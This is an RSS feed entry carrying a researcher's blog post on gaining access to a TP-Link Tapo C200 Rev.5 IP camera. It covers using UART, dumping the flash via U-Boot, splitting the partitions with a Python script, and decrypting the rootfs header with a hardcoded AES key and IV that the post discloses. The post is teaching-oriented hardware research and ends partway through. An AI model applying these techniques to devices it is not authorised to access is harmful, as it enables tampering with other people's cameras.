<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>QTNKSR</title>
    <description>I build things ... and break others.</description>
    <link>https://quentinkaiser.be/</link>
    <atom:link href="https://quentinkaiser.be/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>Rooting the TP-Link Tapo C200 Rev.5</title>
        <description>&lt;p&gt;Long time no see ! Last time I published was four years ago. Since then I
joined ONEKEY and most of my stuff is published on our &lt;a href=&quot;https://onekey.com/research/&quot;&gt;research
blog&lt;/a&gt; over there. I also started teaching
vulnerability research and exploitation to college students here in Belgium,
which is what got me to write this blog.&lt;/p&gt;

&lt;p&gt;Since I started teaching that VR/XDEV course I stayed on the same target: Cisco
RV routers. I know them inside out, there is no weird constructs and the
vulnerabilities are (usually) straightforward. However, as years passed I’m
always questionning whether exploiting
&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2019-1663&quot;&gt;n-days&lt;/a&gt; or
&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2021-34730&quot;&gt;forever-days&lt;/a&gt; that are 4 to 6
years old is still relevant to my students.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/jakub-zerdzicki-PcxB6pJN7wE-unsplash.jpg&quot; alt=&quot;Photo by Jakub Żerdzicki on Unsplash - https://unsplash.com/photos/a-camera-sitting-on-top-of-a-table-PcxB6pJN7wE&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I recently had a chat with one of the other teacher who’s first sessions focus
on hardware hacking (identifying UART, dumping memory, …) and we came to the
conclusion that it may be fun to target cheap IP cameras sold around here. They
mentioned they already had a Tapo C100 and were planning to use it for the
memory dumping stuff. At that point, I may have said with overconfidence:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Sure, I’ll find a vuln in there so we can use it in my vuln research course too !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I still haven’t found interesting vulnerabilities (and would not share them
here, obviously), but I got myself a Tapo C200 Rev.5 with everything I need to
perform dynamic analysis. Since some folks over at the &lt;a href=&quot;https://discord.gg/f4hPG4VEby&quot;&gt;IoT Hacker
Hideout&lt;/a&gt; are also looking at that device, I
figured I would share the steps here so they can reproduce and start their own
reversing adventure.&lt;/p&gt;

&lt;p&gt;They are some interesting tidbits about TP-Link’s project management and
embedded development in general. Those are left at the end of this blog.&lt;/p&gt;

&lt;h3 id=&quot;storage-dumping&quot;&gt;Storage Dumping&lt;/h3&gt;

&lt;p&gt;First order of business was obtaining a shell over the serial console on that
device. This is already documented by many blog posts around the Internet, the
PCB has four solder pads (Vcc, GND, RX, TX) and you can connect your favorite
USB-to-serial adapter to see the device serial console.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/tapo_c200_pinout.jpg&quot; alt=&quot;tapo UART pins&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, it seems that TP-Link is putting up all kinds of shenanigans
dependending on the hardware revision. With some hardware revisions, the test
pads are not connected to anything. With others, they designed the PCB to have
a 0ohm resistor on lines going from RX and TX to the CPU, respectively, which
they don’t populate at the factory (so that it’s not connected). That’s what
they did with the C200 Rev.5 that’s sold in EU. It’s not a big issue since you
can simply connect probes on the resistor pad closest to the CPU, on the CPU
itself, or solder a resistor, or a wire to make those lines live again. The
fact that TP-Link chose to spend money on hardware re-design rather than simply
disabling UART on the software side is “interesting”.&lt;/p&gt;

&lt;p&gt;Once your adapter is connected to the UART port, you can do two things:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;access the bootloader by typing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slp&lt;/code&gt; when U-Boot shows up&lt;/li&gt;
  &lt;li&gt;be greeted with a Linux login prompt for which we don’t know the password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dumping the NOR Flash over SPI is a possibility, but you need to desolder it
first because of how the PCB is designed. Basically if you power the flash you
somehow also power things on the board that tries to talk to the flash. That
cross-talks makes any kind of in-system dumping impossible.&lt;/p&gt;

&lt;p&gt;I’m lazy and I don’t want to power on my heat gun so I decided to dump the NOR
flash through the U-Boot prompt. Let’s put a large enough SD-Card without any
kind of partition table on it and dump the flash to it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sf probe
sf read 0x80600000 0x0 0x000000800000
mmc write 0x80600000 0 16384
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: Interestingly, TP-Link is slowly removing commands from their U-Boot
binaries. In the past the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootcmd&lt;/code&gt; was editable, now it’s hardcoded in the
binary but the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootargs&lt;/code&gt; are still editable. They also removed some commands
related to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now we can remove the SD-Card, put it into our computer and dump the 8MB of
that NOR flash to a file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dd if=/dev/mmcblk0 of=/tmp/dump.bin bs=1024 count=8192 status=progress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The memory mapping is visible in the boot logs so we know where to look at:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[    0.581072] MTD_REDBOOT_TP_HEADER_ADDRESS:0x70000
[    0.591504] decrypt_rootfs_header done
[    0.595389] Searching for RedBoot partition table
[    0.600273] 16 RedBoot partitions found on MTD device jz_sfc
[    0.606158] Creating 16 MTD partitions on &quot;jz_sfc&quot;:
[    0.611227] 0x000000000000-0x00000002d800 : &quot;factory_boot&quot;
[    0.616905] mtd: partition &quot;factory_boot&quot; doesn't end on an erase block -- force read-only
[    0.625966] 0x00000002d800-0x000000030000 : &quot;factory_info&quot;
[    0.631694] mtd: partition &quot;factory_info&quot; doesn't start on an erase block boundary -- force read-only
[    0.641764] 0x000000030000-0x000000040000 : &quot;art&quot;
[    0.647142] 0x000000040000-0x000000050000 : &quot;config&quot;
[    0.652795] 0x000000050000-0x000000070000 : &quot;normal_boot&quot;
[    0.658877] 0x000000070200-0x0000001b0000 : &quot;kernel&quot;
[    0.664066] mtd: partition &quot;kernel&quot; doesn't start on an erase block boundary -- force read-only
[    0.673561] 0x0000001b0000-0x0000003d0000 : &quot;rootfs&quot;
[    0.679182] 0x0000003d0000-0x000000770000 : &quot;rootfs_data&quot;
[    0.685313] 0x000000770000-0x0000007f0000 : &quot;user_record&quot;
[    0.691437] 0x0000007f0000-0x000000800000 : &quot;verify&quot;
[    0.697077] 0x000000070000-0x000000770000 : &quot;firmware&quot;
[    0.702945] 0x000000000000-0x000000800000 : &quot;uitron&quot;
[    0.708566] 0x000000000000-0x000000800000 : &quot;uitron_ext&quot;
[    0.714622] 0x000000000000-0x000000800000 : &quot;ld&quot;
[    0.719906] 0x000000000000-0x000000800000 : &quot;isp&quot;
[    0.725348] 0x000000030000-0x000000800000 : &quot;af&quot;
[    0.730602] SPI NOR MTD LOAD OK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I wrote that dumb python script to cut the dump into each partition:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pathlib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;MTD_PARTITIONS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;factory_boot&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00000002d800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;factory_info&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00000002d800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000030000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;art&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000030000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000040000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000040000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000050000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;normal_boot&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000050000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000070000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;kernel&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000070200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0000001b0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rootfs&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0000001b0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0000003d0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rootfs_data&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0000003d0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000770000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;user_record&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000770000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0000007f0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0000007f0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000800000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;firmware&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x000000070000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x000000770000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rb&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offsets&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MTD_PARTITIONS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;start_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;end_offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offsets&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEK_SET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] dumping &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;outpath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.bin&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;outpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_offset&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can check what’s stored in each partition by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;file *
art.bin:          data
config.bin:       data
factory_boot.bin: data
factory_info.bin: data
firmware.bin:     data
kernel.bin:       u-boot legacy uImage, mips Ingenic Linux-3.10.14, Linux/MIPS, OS Kernel Image (lzma), 1308335 bytes, Tue Jun 10 06:02:16 2025, Load Address: 0X80010000, Entry Point: 0X80324680, Header CRC: 0X7DD08F79, Data CRC: 0XE46DD18D
normal_boot.bin:  u-boot legacy uImage, u-boot-lzma.img, Firmware/MIPS, Firmware Image (lzma), 66793 bytes, Tue Jun 10 05:59:40 2025, Load Address: 0X820A0000, Entry Point: 00000000, Header CRC: 0X8F6E0DCB, Data CRC: 0X5D9264E5
rootfs.bin:       data
rootfs_data.bin:  Squashfs filesystem, little endian, version 4.0, xz compressed, 3367728 bytes, 119 inodes, blocksize: 65536 bytes, created: Tue Jun 10 06:02:34 2025
user_record.bin:  Linux jffs2 filesystem data little endian
verify.bin:       data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What’s interesting is that the root filesystem (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rootfs.bin&lt;/code&gt;) does not seem to be a filesystem. On top of that, the boot logs are sus:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[    0.591504] decrypt_rootfs_header done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try to understand what’s going on.&lt;/p&gt;

&lt;h3 id=&quot;reversing-filesystem-encryption&quot;&gt;Reversing Filesystem Encryption&lt;/h3&gt;

&lt;p&gt;We have a string to look for (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decrypt_rootfs_header&lt;/code&gt;) and a valid kernel image for which we know the load address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x80010000&lt;/code&gt;). It’s just a matter of loading it into Ghidra with the right architecture (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MIPS:LE:32&lt;/code&gt;) and load address. I know about &lt;a href=&quot;https://github.com/marin-m/vmlinux-to-elf&quot;&gt;vmlinux-to-elf&lt;/a&gt;, it just don’t always work.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rootfs_decrypt_1.png&quot; alt=&quot;&amp;quot;rootfs decrypt header&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking into that function, we can see the following (variables and functions have been renamed manually):&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rootfs_decrypt_2.png&quot; alt=&quot;&amp;quot;rootfs decrypt header&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ll spare the details but basically the first 512 bytes of the rootfs are encrypted using AES-128-CFB1 with a key and IV hardcoded in the kernel.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;s_TP_LINK88i667gnt_803ba194                     XREF[1]:     decrypt_rootfs_header:801d0550(*
        803ba194 54 50 5f        ds         &quot;TP_LINK88i667gnt&quot;
                 4c 49 4e 
                 4b 38 38 
        803ba1a5 00              ??         00h
        803ba1a6 00              ??         00h
        803ba1a7 00              ??         00h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This was confirmed by downloading TP-Link GPL archive for the Tapo C200. By looking into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NVMP/sdk/soc/T23/linux-3.10.14/drivers/mtd/redboot.c&lt;/code&gt;, you’ll see the following:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES_CFB1_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CONFIG_ENCRYPT_ROOTFS_KEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES_CFB1_iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;mh&quot;&gt;0x55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xAA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xDE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xC0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xDE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;sc&quot;&gt;'N'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'U'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'X'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'E'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'T'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xAA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The IV never changes from product to product or version to version, but the key
does change. Searching for strings starting with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TP_LINK&lt;/code&gt; in the kernel image
always brings a single result. Just saying.&lt;/p&gt;

&lt;p&gt;Let’s confirm our hypothesis here by decrypting the first 512 bytes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dd if=out/rootfs.bin bs=512 count=1 | openssl enc -aes-128-cfb1 -d -nosalt -nopad -K 54505f4c494e4b383869363637676e74 -iv 55aadeadc0de4c494e5558457854aa55 | hexdump -C 
1+0 records in
1+0 records out
512 bytes copied, 2,2374e-05 s, 22,9 MB/s
00000000  68 73 71 73 c4 01 00 00  78 ca 47 68 00 00 01 00  |hsqs....x.Gh....|
00000010  0b 00 00 00 04 00 10 00  c0 06 01 00 04 00 00 00  |................|
00000020  81 1c a6 06 00 00 00 00  a0 af 21 00 00 00 00 00  |..........!.....|
00000030  98 af 21 00 00 00 00 00  ff ff ff ff ff ff ff ff  |..!.............|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

